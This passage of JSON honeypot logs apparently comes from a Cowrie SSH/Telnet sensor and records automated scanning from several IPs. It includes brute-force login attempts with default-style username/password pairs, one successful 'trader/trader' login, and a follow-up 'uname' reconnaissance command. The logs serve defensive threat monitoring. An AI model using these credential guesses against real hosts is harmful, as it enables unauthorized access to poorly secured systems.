.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:55.312305Z","src_ip":"91.92.42.227","session":"4f5ac17491e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@2026","message":"login attempt [root/root@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:56.092700Z","src_ip":"91.92.42.227","session":"4f5ac17491e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:51:57.217493Z","src_ip":"91.92.42.227","session":"4f5ac17491e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":39498,"dst_ip":"159.203.135.109","dst_port":22,"session":"de2efee4f7e1","protocol":"ssh","message":"New connection: 80.94.92.184:39498 (159.203.135.109:22) [session: de2efee4f7e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:00.567105Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:00.682498Z","src_ip":"80.94.92.184","session":"de2efee4f7e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54316,"dst_ip":"10.17.0.5","dst_port":22,"session":"d243ace162dd","protocol":"ssh","message":"New connection: 91.92.42.227:54316 (10.17.0.5:22) [session: d243ace162dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:02.423519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:02.432354Z","src_ip":"91.92.42.227","session":"d243ace162dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:02.508060Z","src_ip":"91.92.42.227","session":"d243ace162dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:02.923326Z","src_ip":"91.92.42.227","session":"d243ace162dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:04.103448Z","src_ip":"91.92.42.227","session":"d243ace162dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40630,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc97c1f6c784","protocol":"ssh","message":"New connection: 91.92.42.227:40630 (10.17.0.5:22) [session: cc97c1f6c784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:08.933017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:09.326803Z","src_ip":"91.92.42.227","session":"cc97c1f6c784","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:09.356968Z","src_ip":"91.92.42.227","session":"cc97c1f6c784","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:10.702106Z","src_ip":"91.92.42.227","session":"cc97c1f6c784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:12.087822Z","src_ip":"91.92.42.227","session":"cc97c1f6c784","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":57532,"dst_ip":"10.17.0.5","dst_port":22,"session":"02a25fcd3ff4","protocol":"ssh","message":"New connection: 91.92.42.227:57532 (10.17.0.5:22) [session: 02a25fcd3ff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:15.704350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:16.161256Z","src_ip":"91.92.42.227","session":"02a25fcd3ff4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:16.164569Z","src_ip":"91.92.42.227","session":"02a25fcd3ff4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39312,"dst_ip":"10.17.0.5","dst_port":23,"session":"79c551dbdb7a","protocol":"telnet","message":"New connection: 172.81.62.90:39312 (10.17.0.5:23) [session: 79c551dbdb7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:18.094150Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"0","message":"login attempt [root/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:18.940190Z","src_ip":"91.92.42.227","session":"02a25fcd3ff4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":36474,"dst_ip":"159.203.135.109","dst_port":23,"session":"578d9e7940fb","protocol":"telnet","message":"New connection: 107.6.151.170:36474 (159.203.135.109:23) [session: 578d9e7940fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:19.367175Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:20.532902Z","src_ip":"91.92.42.227","session":"02a25fcd3ff4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":34646,"dst_ip":"159.203.135.109","dst_port":23,"session":"721083ab81ca","protocol":"telnet","message":"New connection: 107.6.151.170:34646 (159.203.135.109:23) [session: 721083ab81ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:21.387780Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":57636,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cf57eca678d","protocol":"ssh","message":"New connection: 91.92.42.227:57636 (10.17.0.5:22) [session: 0cf57eca678d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:23.015176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:23.488110Z","src_ip":"91.92.42.227","session":"0cf57eca678d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:23.496369Z","src_ip":"91.92.42.227","session":"0cf57eca678d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"1","message":"login attempt [root1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:25.735468Z","src_ip":"91.92.42.227","session":"0cf57eca678d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:27.681480Z","src_ip":"91.92.42.227","session":"0cf57eca678d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":46856,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa9c2376704c","protocol":"ssh","message":"New connection: 91.92.42.227:46856 (10.17.0.5:22) [session: aa9c2376704c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:29.495091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:30.024536Z","src_ip":"91.92.42.227","session":"aa9c2376704c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:30.039176Z","src_ip":"91.92.42.227","session":"aa9c2376704c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:33.032293Z","src_ip":"91.92.42.227","session":"aa9c2376704c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:34.535323Z","src_ip":"91.92.42.227","session":"aa9c2376704c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:34.538658Z","src_ip":"91.92.42.227","session":"aa9c2376704c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:35.240457Z","src_ip":"91.92.42.227","session":"aa9c2376704c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:35.244604Z","src_ip":"91.92.42.227","session":"aa9c2376704c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36038,"dst_ip":"10.17.0.5","dst_port":22,"session":"78f87e3aaaaf","protocol":"ssh","message":"New connection: 91.92.42.227:36038 (10.17.0.5:22) [session: 78f87e3aaaaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:35.945409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:36.565104Z","src_ip":"91.92.42.227","session":"78f87e3aaaaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:36.569018Z","src_ip":"91.92.42.227","session":"78f87e3aaaaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":44896,"dst_ip":"10.17.0.5","dst_port":22,"session":"eee1f31df3c8","protocol":"ssh","message":"New connection: 103.82.20.28:44896 (10.17.0.5:22) [session: eee1f31df3c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:39.970980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:39.977065Z","src_ip":"103.82.20.28","session":"eee1f31df3c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"root","message":"login attempt [server/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:40.053920Z","src_ip":"91.92.42.227","session":"78f87e3aaaaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:40.250197Z","src_ip":"103.82.20.28","session":"eee1f31df3c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"180892","message":"login attempt [root/180892] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:41.054255Z","src_ip":"103.82.20.28","session":"eee1f31df3c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:41.752074Z","src_ip":"91.92.42.227","session":"78f87e3aaaaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:42.324720Z","src_ip":"103.82.20.28","session":"eee1f31df3c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36056,"dst_ip":"10.17.0.5","dst_port":22,"session":"499493dd97e2","protocol":"ssh","message":"New connection: 91.92.42.227:36056 (10.17.0.5:22) [session: 499493dd97e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:42.763244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:52:43.777383Z","src_ip":"91.92.42.227","session":"499493dd97e2","protocol":"ssh"}
